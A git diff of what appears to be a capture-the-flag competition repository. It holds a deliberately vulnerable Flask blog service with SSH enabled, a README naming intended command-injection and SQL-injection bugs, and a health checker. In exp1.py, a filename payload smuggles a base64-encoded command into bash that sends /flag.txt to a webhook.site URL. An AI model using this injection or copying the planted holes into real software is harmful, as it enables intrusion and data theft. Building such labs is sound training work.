diff --git a/services/blogpost/Dockerfile b/services/blogpost/Dockerfile index 8a23bc8..9afad55 100644 --- a/services/blogpost/Dockerfile +++ b/services/blogpost/Dockerfile @@ -1,21 +1,62 @@ -FROM python:3.11-slim +# Dockerfile +FROM python:3.11-slim-bullseye -RUN apt-get update && DEBIAN_FRONTEND=noninteractive apt-get install -y \ - libimage-exiftool-perl \ - sqlite3 \ - build-essential \ - && rm -rf /var/lib/apt/lists/* +# Build-time args +ARG PASSWORD WORKDIR /app -COPY requirements.txt /app/ +# Prevent interactive prompts during apt installs +ENV DEBIAN_FRONTEND=noninteractive +ENV DB_PATH=/data/app.db + +# Install packages we need (exiftool, sqlite3, sshd, build tools, editor) +RUN apt-get update && \ + apt-get install -y --no-install-recommends \ + libimage-exiftool-perl \ + sqlite3 \ + openssh-server \ + build-essential \ + bash \ + nano \ + && rm -rf /var/lib/apt/lists/* + +# Create an unprivileged user for running the app / SSH access +RUN useradd -m -d /home/ctfuser -s /bin/bash ctfuser \ + && if [ -n "${PASSWORD}" ]; then echo "ctfuser:${PASSWORD}" | chpasswd; fi + +# Copy application and requirements +COPY chall/requirements.txt /app/ RUN pip install --no-cache-dir -r /app/requirements.txt -COPY . /app -RUN chmod +x /app/entrypoint.sh +COPY chall/ . -RUN mkdir -p /data /app/uploads +# Ensure entrypoint exists and is executable (keeps your existing entrypoint.sh) +RUN chmod +x /app/entrypoint.sh || true +# Create needed directories and set permissions +RUN mkdir -p /data /app/uploads /run/sshd /notes \ + && chown -R ctfuser:ctfuser /app /app/uploads /notes \ + && chmod 755 /app \ + && chmod 777 /app/uploads +# (intentionally NOT chowning /data here; we’ll fix /data at runtime in case it’s a bind mount) + +# Create the flag file with safe perms (will be overwritten at runtime if FLAG is set) +RUN touch /flag.txt && chown root:root /flag.txt && chmod 644 /flag.txt + +# Configure basic sshd options +RUN echo "PasswordAuthentication yes" >> /etc/ssh/sshd_config && \ + echo "PermitRootLogin no" >> /etc/ssh/sshd_config && \ + echo "AllowUsers ctfuser" >> /etc/ssh/sshd_config && \ + echo "PermitEmptyPasswords no" >> /etc/ssh/sshd_config + +# Generate host keys and make sure /run/sshd exists +RUN ssh-keygen -A || true +RUN mkdir -p /run/sshd && chmod 755 /run/sshd + +# Expose app and ssh ports EXPOSE 8000 +EXPOSE 22 +USER root CMD ["/app/entrypoint.sh"] diff --git a/services/blogpost/README.md b/services/blogpost/README.md new file mode 100644 index 0000000..e73ccbc --- /dev/null +++ b/services/blogpost/README.md @@ -0,0 +1,15 @@ +## Blogpost + +db used: sqlite +flag.txt: GEMASTIK{random sha256 generated on app start} + +feature: +[authentication required with login and register, register default as "user" role] +1. search feature +2. create, edit, visit post form that can upload images (png, jpg/jpeg, bmp) query the image metadata taken with exiftool to the sqlite database +3. profile (if the account type is admin, render the content of flag.txt) + +vuln1: Command injection on exiftool (payload: exp1.py) +vuln2: SQLi on image metadata to enable altering user account into admin account (payload: sqli.png, exp2.py) + +patching rules?: \ No newline at end of file diff --git a/services/blogpost/app.py b/services/blogpost/chall/app.py similarity index 99% rename from services/blogpost/app.py rename to services/blogpost/chall/app.py index bbb45c3..f2ca41c 100644 --- a/services/blogpost/app.py +++ b/services/blogpost/chall/app.py @@ -10,7 +10,7 @@ from markupsafe import escape as m_escape APP_DIR = os.path.dirname(os.path.abspath(__file__)) UPLOAD_FOLDER = os.path.join(APP_DIR, "uploads") DB_PATH = "/data/app.db" -FLAG_PATH = "/app/flag.txt" +FLAG_PATH = "/flag.txt" ALLOWED_EXT = {'png', 'jpg', 'jpeg', 'bmp'} diff --git a/services/blogpost/data/app.db b/services/blogpost/chall/data/app.db similarity index 100% rename from services/blogpost/data/app.db rename to services/blogpost/chall/data/app.db diff --git a/services/blogpost/chall/entrypoint.sh b/services/blogpost/chall/entrypoint.sh new file mode 100644 index 0000000..90daf33 --- /dev/null +++ b/services/blogpost/chall/entrypoint.sh @@ -0,0 +1,67 @@ +#!/usr/bin/env bash +set -euo pipefail + +umask 002 # so group-writable files end up 664 and dirs 775 (good for volumes) + +APP_DIR="/app" +UPLOADS_DIR="${APP_DIR}/uploads" +DATA_DIR="/data" +DBFILE="${DATA_DIR}/app.db" +INIT_SQL="${APP_DIR}/init_db.sql" +FLAG_FILE="/flag.txt" + +# Create required dirs +mkdir -p "${UPLOADS_DIR}" "${DATA_DIR}" + +# Try to ensure runtime ownership (works for named volumes; bind-mounts may ignore) +chown -R ctfuser:ctfuser "${UPLOADS_DIR}" "${APP_DIR}" 2>/dev/null || true +chown -R ctfuser:ctfuser "${DATA_DIR}" 2>/dev/null || true + +# Minimum perms so SQLite can create -wal/-shm alongside the DB +chmod 775 "${DATA_DIR}" || true +chmod 775 "${UPLOADS_DIR}" || true + +# Initialize database as ctfuser so the file is owned/writable by the app user +if [ ! -f "${DBFILE}" ]; then + echo "Initializing database at ${DBFILE}..." + # ensure parent dir writable + if [ ! -w "${DATA_DIR}" ]; then + echo "WARN: ${DATA_DIR} is not writable by root; continuing…" + fi + # create empty DB as ctfuser (so ownership is correct), then run schema + su -s /bin/bash -c "touch '${DBFILE}'" ctfuser || true + # permissions suitable for SQLite + group access + chmod 664 "${DBFILE}" || true + # run schema if present + if [ -f "${INIT_SQL}" ]; then + su -s /bin/bash -c "sqlite3 '${DBFILE}' < '${INIT_SQL}'" ctfuser + fi +fi + +# (Optional) If your host FS hates WAL, uncomment these lines to switch to DELETE mode on first run +# su -s /bin/bash -c "sqlite3 '${DBFILE}' 'PRAGMA journal_mode=DELETE; PRAGMA synchronous=NORMAL;'" ctfuser || true + +# Environment for Flask (your app still runs via python app.py) +export FLASK_APP="${APP_DIR}/app.py" +export FLASK_ENV=production + +# Start SSH (Debian slim may not have full init; fall back to raw sshd) +if command -v service >/dev/null 2>&1; then + service ssh start || /usr/sbin/sshd & +else + /usr/sbin/sshd & +fi + +# Handle flag (keep owned by root, world-readable OK for CTF unless you want to restrict) +if [ "${FLAG:-}" != "" ]; then + echo "$FLAG" > "${FLAG_FILE}" + chown root:root "${FLAG_FILE}" || true + chmod 644 "${FLAG_FILE}" || true +fi + +echo "Starting Flask app (port 8000) as ctfuser…" +# Final sanity: make sure runtime dirs stay writable for WAL/SHM/uploads +chmod g+w "${DATA_DIR}" "${UPLOADS_DIR}" 2>/dev/null || true + +# Exec the app as ctfuser +exec su -s /bin/bash -c "cd '${APP_DIR}' && python3 app.py" ctfuser diff --git a/services/blogpost/init_db.sql b/services/blogpost/chall/init_db.sql similarity index 100% rename from services/blogpost/init_db.sql rename to services/blogpost/chall/init_db.sql diff --git a/services/blogpost/requirements.txt b/services/blogpost/chall/requirements.txt similarity index 67% rename from services/blogpost/requirements.txt rename to services/blogpost/chall/requirements.txt index 5112d0d..fb39917 100644 --- a/services/blogpost/requirements.txt +++ b/services/blogpost/chall/requirements.txt @@ -1,3 +1,3 @@ Flask==2.2.5 werkzeug==2.2.3 -Jinja2==3.1.2 +Jinja2==3.1.2 \ No newline at end of file diff --git a/services/blogpost/static/style.css b/services/blogpost/chall/static/style.css similarity index 100% rename from services/blogpost/static/style.css rename to services/blogpost/chall/static/style.css diff --git a/services/blogpost/templates/create_post.html b/services/blogpost/chall/templates/create_post.html similarity index 100% rename from services/blogpost/templates/create_post.html rename to services/blogpost/chall/templates/create_post.html diff --git a/services/blogpost/templates/index.html b/services/blogpost/chall/templates/index.html similarity index 100% rename from services/blogpost/templates/index.html rename to services/blogpost/chall/templates/index.html diff --git a/services/blogpost/templates/layout.html b/services/blogpost/chall/templates/layout.html similarity index 100% rename from services/blogpost/templates/layout.html rename to services/blogpost/chall/templates/layout.html diff --git a/services/blogpost/templates/login.html b/services/blogpost/chall/templates/login.html similarity index 100% rename from services/blogpost/templates/login.html rename to services/blogpost/chall/templates/login.html diff --git a/services/blogpost/templates/profile.html b/services/blogpost/chall/templates/profile.html similarity index 100% rename from services/blogpost/templates/profile.html rename to services/blogpost/chall/templates/profile.html diff --git a/services/blogpost/templates/register.html b/services/blogpost/chall/templates/register.html similarity index 100% rename from services/blogpost/templates/register.html rename to services/blogpost/chall/templates/register.html diff --git a/services/blogpost/templates/view_post.html b/services/blogpost/chall/templates/view_post.html similarity index 100% rename from services/blogpost/templates/view_post.html rename to services/blogpost/chall/templates/view_post.html diff --git a/services/blogpost/dist/blogpost.rar b/services/blogpost/dist/blogpost.rar new file mode 100644 index 0000000..17cdf2c Binary files /dev/null and b/services/blogpost/dist/blogpost.rar differ diff --git a/services/blogpost/docker-compose.yml b/services/blogpost/docker-compose.yml index 9f739a5..4d72738 100644 --- a/services/blogpost/docker-compose.yml +++ b/services/blogpost/docker-compose.yml @@ -1,10 +1,14 @@ -version: '3.8' services: - blogpost: - build: . + blogpost_service: container_name: blogpost_container + hostname: blogpost + restart: always + build: + context: . + args: + - PASSWORD=root ports: - - "10000:8000" + - "4400:8000" + - "4422:22" environment: - - FLASK_ENV=production - command: ["/app/entrypoint.sh"] + - FLAG=GEMASTIK{fake_flag} \ No newline at end of file diff --git a/services/blogpost/entrypoint.sh b/services/blogpost/entrypoint.sh deleted file mode 100644 index a7c990f..0000000 --- a/services/blogpost/entrypoint.sh +++ /dev/null @@ -1,22 +0,0 @@ -#!/usr/bin/env bash -set -e - -FLAG_SHA=$(head -c 64 /dev/urandom | sha256sum | awk '{print $1}') -FLAG="GEMASTIK{${FLAG_SHA}}" -echo "$FLAG" > /app/flag.txt -chmod 400 /app/flag.txt - -mkdir -p /app/uploads -mkdir -p /data - -DBFILE=/data/app.db -if [ ! -f "$DBFILE" ]; then - echo "Initializing database..." - sqlite3 $DBFILE < /app/init_db.sql -fi - -echo "Starting Flask app (port 8000)..." -export FLASK_APP=/app/app.py -export FLASK_ENV=production - -python /app/app.py diff --git a/services/blogpost/exploits/exp1.py b/services/blogpost/exploits/exp1.py index 3ec8605..3b9552a 100644 --- a/services/blogpost/exploits/exp1.py +++ b/services/blogpost/exploits/exp1.py @@ -4,7 +4,7 @@ from pathlib import Path import random import string -HOST = "http://localhost:4413" +HOST = "http://localhost:4400" REGISTER_URL = HOST + "/register" LOGIN_URL = HOST + "/login" CREATE_URL = HOST + "/create" @@ -19,7 +19,7 @@ def generate_random_string(length=8): USERNAME = generate_random_string() PASSWORD = generate_random_string() # choose payload variant: either use subshell $() or backticks `...` -filename_payload = "tes.png; echo 'cHl0aG9uMyAtYyAiaW1wb3J0IHVybGxpYi5yZXF1ZXN0OyB1cmxsaWIucmVxdWVzdC51cmxvcGVuKCdodHRwczovL3dlYmhvb2suc2l0ZS8yNjcxZjg2Zi0xN2U4LTRiNDQtODFkYS00YWQ2ZDUyMTA0OWQnLCBkYXRhPW9wZW4oJ2ZsYWcudHh0JywgJ3JiJykucmVhZCgpKSI=' | base64 -d | bash;#.jpg" +filename_payload = "tes.png; echo 'cHl0aG9uMyAtYyAiaW1wb3J0IHVybGxpYi5yZXF1ZXN0OyB1cmxsaWIucmVxdWVzdC51cmxvcGVuKCdodHRwczovL3dlYmhvb2suc2l0ZS9hMmJlOTU2NS0zZGZhLTRjZmEtODAyYy01NDk4NTI5ZTViMGYnLCBkYXRhPW9wZW4oJy9mbGFnLnR4dCcsICdyYicpLnJlYWQoKSki=' | base64 -d | bash;#.jpg" # choose which to use: filename_payload = filename_payload # or payload_backticks diff --git a/services/blogpost/exploits/exp2.py b/services/blogpost/exploits/exp2.py index ddfa362..af3b4ad 100644 --- a/services/blogpost/exploits/exp2.py +++ b/services/blogpost/exploits/exp2.py @@ -7,7 +7,7 @@ from pathlib import Path print("SQLi (VULN 2) Exploit") -HOST = "http://localhost:4413" +HOST = "http://localhost:4400" REGISTER_URL = HOST + "/register" LOGIN_URL = HOST + "/login" CREATE_URL = HOST + "/create" diff --git a/services/blogpost/exploits/sqli.png b/services/blogpost/exploits/sqli.png index c41aa35..26e0a92 100644 Binary files a/services/blogpost/exploits/sqli.png and b/services/blogpost/exploits/sqli.png differ diff --git a/services/blogpost/sla.py b/services/blogpost/sla.py new file mode 100644 index 0000000..64e90f2 --- /dev/null +++ b/services/blogpost/sla.py @@ -0,0 +1,250 @@ +import io +import re +import time +import json +import base64 +import random +import string +import logging +import subprocess +from typing import Optional + +import requests +from PIL import Image # pillow for tiny PNG generation + +from .Challenge import Challenge + + +class WebAppSLA(Challenge): + """ + SLA checker for the provided Flask challenge app. + + Assumptions / Defaults (override as needed): + - Service listens on self.port (inherited) + - Container name is 'chal_app' (override via self.container_name) + - Flag lives in '/app/flag.txt' inside container + - Login flow at /login, register at /register + - Create post at /create, view post at /post/, uploads at /uploads/ + """ + flag_location = 'flags/webapp.txt' # Host copy (used by your orchestrator) + history_location = 'history/webapp.txt' + container_flag_path = '/app/flag.txt' + container_name = 'chal_app' # <-- set to your actual container name + + # Heuristics to recognize ExifTool output + _exif_markers = ( + 'ExifTool Version Number', + 'File Name', + 'File Size', + 'MIME Type', + 'File Type', + ) + + def _make_logger(self): + if not hasattr(self, 'logger') or self.logger is None: + self.logger = logging.getLogger(self.__class__.__name__) + if not self.logger.handlers: + h = logging.StreamHandler() + h.setFormatter(logging.Formatter('[%(levelname)s] %(message)s')) + self.logger.addHandler(h) + self.logger.setLevel(logging.INFO) + + # --- Flag distribution hook (optional, mirrors your example) --- + def distribute(self, flag: str) -> bool: + """ + Writes/records the current flag on the host. Your infra may separately + mount/copy it into the container; this class *also* verifies existence + inside the container during .check(). + """ + self._make_logger() + try: + with open(self.flag_location, 'w') as f: + f.write(flag) + with open(self.history_location, 'a') as f: + f.write(flag + '\n') + self.logger.info(f"Flag '{flag}' written to {self.flag_location}") + return True + except Exception as e: + self.logger.error(f"Failed writing host flag: {e}") + return False + + # --- Helpers --- + def _gen_username(self) -> str: + return "user_" + ''.join(random.choices(string.ascii_lowercase + string.digits, k=8)) + + def _gen_password(self) -> str: + return "Pw!" + ''.join(random.choices(string.ascii_letters + string.digits, k=10)) + + def _tiny_png_bytes(self) -> bytes: + """ + Generate a minimal valid PNG in-memory to trigger exiftool. + """ + img = Image.new("RGB", (2, 2), (123, 200, 50)) + buf = io.BytesIO() + img.save(buf, format="PNG") + return buf.getvalue() + + def _docker_exec(self, args: list[str], timeout: int = 10) -> subprocess.CompletedProcess: + """ + Run `docker exec` into the challenge container. + """ + return subprocess.run( + ["docker", "exec", self.container_name] + args, + capture_output=True, + text=True, + timeout=timeout + ) + + # --- SLA core --- + def check(self) -> bool: + self._make_logger() + base_url = f"http://localhost:{self.port}" + s = requests.Session() + + # 0) Liveness: login page should be reachable (no auth needed) + login_url = base_url + "/login" + self.logger.info(f"[1/7] Checking liveness at {login_url} ...") + try: + r = s.get(login_url, timeout=10) + assert r.status_code == 200, f"Login page HTTP {r.status_code}" + self.logger.info(" ✓ Login page reachable") + except Exception as e: + self.logger.error(f" ✗ Liveness check failed: {e}") + return False + + # 1) Register a fresh user + self.logger.info("[2/7] Registering a fresh user ...") + username = self._gen_username() + password = self._gen_password() + try: + r = s.post( + base_url + "/register", + data={"username": username, "password": password}, + allow_redirects=False, + timeout=10, + ) + # Flask typically redirects to /login on success (302) + assert r.status_code in (200, 302, 303), f"Register HTTP {r.status_code}" + self.logger.info(f" ✓ Registered as {username}") + except Exception as e: + self.logger.error(f" ✗ Registration failed: {e}") + return False + + # 2) Log in + self.logger.info("[3/7] Logging in ...") + try: + r = s.post( + base_url + "/login", + data={"username": username, "password": password}, + allow_redirects=True, + timeout=10, + ) + # Successful login should redirect or render index; ensure not bounced back to /login with "Invalid credentials" + assert r.status_code == 200, f"Login HTTP {r.status_code}" + assert "/login" not in r.url or "Invalid credentials" not in r.text + self.logger.info(" ✓ Logged in") + except Exception as e: + self.logger.error(f" ✗ Login failed: {e}") + return False + + # 3) Create post with image upload (PNG) to trigger exiftool + DB write + self.logger.info("[4/7] Creating a post with image upload ...") + title = "SLA Post " + ''.join(random.choices(string.ascii_letters, k=6)) + content = "hello_from_sla_checker" + png_bytes = self._tiny_png_bytes() + files = { + "image": ("probe.png", png_bytes, "image/png") + } + data = {"title": title, "content": content} + try: + r = s.post(base_url + "/create", files=files, data=data, allow_redirects=True, timeout=20) + assert r.status_code == 200, f"Create returned HTTP {r.status_code}" + self.logger.info(" ✓ Post created") + except Exception as e: + self.logger.error(f" ✗ Create post failed: {e}") + return False + + # 4) Discover the newly created post id by scraping links like /post/ from index + self.logger.info("[5/7] Resolving new post id from index ...") + try: + r = s.get(base_url + "/", timeout=10) + assert r.status_code == 200, f"Index HTTP {r.status_code}" + # Find the most recent /post/ that likely corresponds to our post title + # First try to find blocks containing our title then pull an id: + post_id: Optional[int] = None + # Prefer links sitting near our title + title_blocks = [m.start() for m in re.finditer(re.escape(title), r.text)] + if title_blocks: + # Search backward/forward around the title occurrences for a /post/ link + for pos in title_blocks: + window = r.text[max(0, pos-1000):pos+1000] + m = re.search(r'/post/(\d+)', window) + if m: + post_id = int(m.group(1)) + break + # Fallback: pick the first /post/ in the page + if post_id is None: + m = re.search(r'/post/(\d+)', r.text) + assert m, "No /post/ link found on index" + post_id = int(m.group(1)) + + self.logger.info(f" ✓ Resolved post id = {post_id}") + except Exception as e: + self.logger.error(f" ✗ Could not resolve post id: {e}") + return False + + # 5) Visit the post page, confirm it renders and contains our title/content. + self.logger.info("[6/7] Visiting the post page ...") + try: + vp = s.get(base_url + f"/post/{post_id}", timeout=10) + assert vp.status_code == 200, f"Post page HTTP {vp.status_code}" + assert title in vp.text, "Post title not present on view page" + assert content in vp.text, "Post content not present on view page" + self.logger.info(" ✓ Post page renders with our content") + except Exception as e: + self.logger.error(f" ✗ View post failed: {e}") + return False + + # 6) Locate the uploaded file link on the post page, then fetch the .meta file via /uploads/.meta + self.logger.info("[7/7] Verifying ExifTool metadata persisted & accessible ...") + try: + # Find something like /uploads/.png (or .jpg/.jpeg/.bmp) + m = re.search(r'/uploads/([A-Za-z0-9_.-]+\.(?:png|jpg|jpeg|bmp))', vp.text, flags=re.IGNORECASE) + assert m, "No uploaded image link found on post page" + image_name = m.group(1) + # The server stores metadata in a sibling file with .meta suffix; it is served by the same /uploads route. + meta_url = base_url + f"/uploads/{image_name}.meta" + mr = s.get(meta_url, timeout=10) + assert mr.status_code == 200, f"Meta file HTTP {mr.status_code}" + meta_text = mr.text.strip() + # Heuristic: expect at least one ExifTool-like marker + assert any(tag in meta_text for tag in self._exif_markers), "Meta file does not look like ExifTool output" + self.logger.info(" ✓ Exif metadata present and readable") + except Exception as e: + self.logger.error(f" ✗ Metadata verification failed: {e}") + return False + + # 7) Flag existence in container (do not fail SLA if only host copy exists but container is missing—treat as warning or policy-driven) + try: + proc = self._docker_exec(["/bin/sh", "-lc", f"test -f {self.container_flag_path} && cat {self.container_flag_path} || echo __MISSING__"]) + out = (proc.stdout or "").strip() + if "__MISSING__" in out or proc.returncode not in (0,): + self.logger.warning("⚠ Flag file missing inside container") + else: + self.logger.info(" ✓ Container flag present") + # Optional: compare with host flag if present + try: + with open(self.flag_location, "r") as f: + host_flag = f.read().strip() + if host_flag and host_flag == out: + self.logger.info(" ✓ Host and container flags match") + else: + self.logger.warning("⚠ Host/container flag mismatch (may be expected if rotated separately)") + except FileNotFoundError: + self.logger.warning("⚠ Host flag not found; skipping comparison") + except Exception as e: + # Non-fatal: you can tune this to fail the round if flag is mandatory. + self.logger.warning(f"Flag existence check encountered an issue: {e}") + + self.logger.info("SLA check passed ✅") + return True diff --git a/services/cdn/dist/cdn.rar b/services/cdn/dist/cdn.rar new file mode 100644 index 0000000..749be0a Binary files /dev/null and b/services/cdn/dist/cdn.rar differ diff --git a/services/cdn/Dockerfile b/services/cdn/src/Dockerfile similarity index 100% rename from services/cdn/Dockerfile rename to services/cdn/src/Dockerfile diff --git a/services/cdn/app.py b/services/cdn/src/app.py similarity index 100% rename from services/cdn/app.py rename to services/cdn/src/app.py diff --git a/services/cdn/docker-compose.yml b/services/cdn/src/docker-compose.yml similarity index 100% rename from services/cdn/docker-compose.yml rename to services/cdn/src/docker-compose.yml diff --git a/services/cdn/entrypoint.sh b/services/cdn/src/entrypoint.sh similarity index 100% rename from services/cdn/entrypoint.sh rename to services/cdn/src/entrypoint.sh diff --git a/services/cdn/flag_seed.py b/services/cdn/src/flag_seed.py similarity index 100% rename from services/cdn/flag_seed.py rename to services/cdn/src/flag_seed.py diff --git a/services/cdn/requirements.txt b/services/cdn/src/requirements.txt similarity index 100% rename from services/cdn/requirements.txt rename to services/cdn/src/requirements.txt diff --git a/services/cdn/static/style.css b/services/cdn/src/static/style.css similarity index 100% rename from services/cdn/static/style.css rename to services/cdn/src/static/style.css diff --git a/services/cdn/templates/base.html b/services/cdn/src/templates/base.html similarity index 100% rename from services/cdn/templates/base.html rename to services/cdn/src/templates/base.html diff --git a/services/cdn/templates/gallery.html b/services/cdn/src/templates/gallery.html similarity index 100% rename from services/cdn/templates/gallery.html rename to services/cdn/src/templates/gallery.html diff --git a/services/cdn/templates/login.html b/services/cdn/src/templates/login.html similarity index 100% rename from services/cdn/templates/login.html rename to services/cdn/src/templates/login.html diff --git a/services/cdn/templates/register.html b/services/cdn/src/templates/register.html similarity index 100% rename from services/cdn/templates/register.html rename to services/cdn/src/templates/register.html diff --git a/services/cdn/templates/upload.html b/services/cdn/src/templates/upload.html similarity index 100% rename from services/cdn/templates/upload.html rename to services/cdn/src/templates/upload.html diff --git a/services/cdn/templates/view_post.html b/services/cdn/src/templates/view_post.html similarity index 100% rename from services/cdn/templates/view_post.html rename to services/cdn/src/templates/view_post.html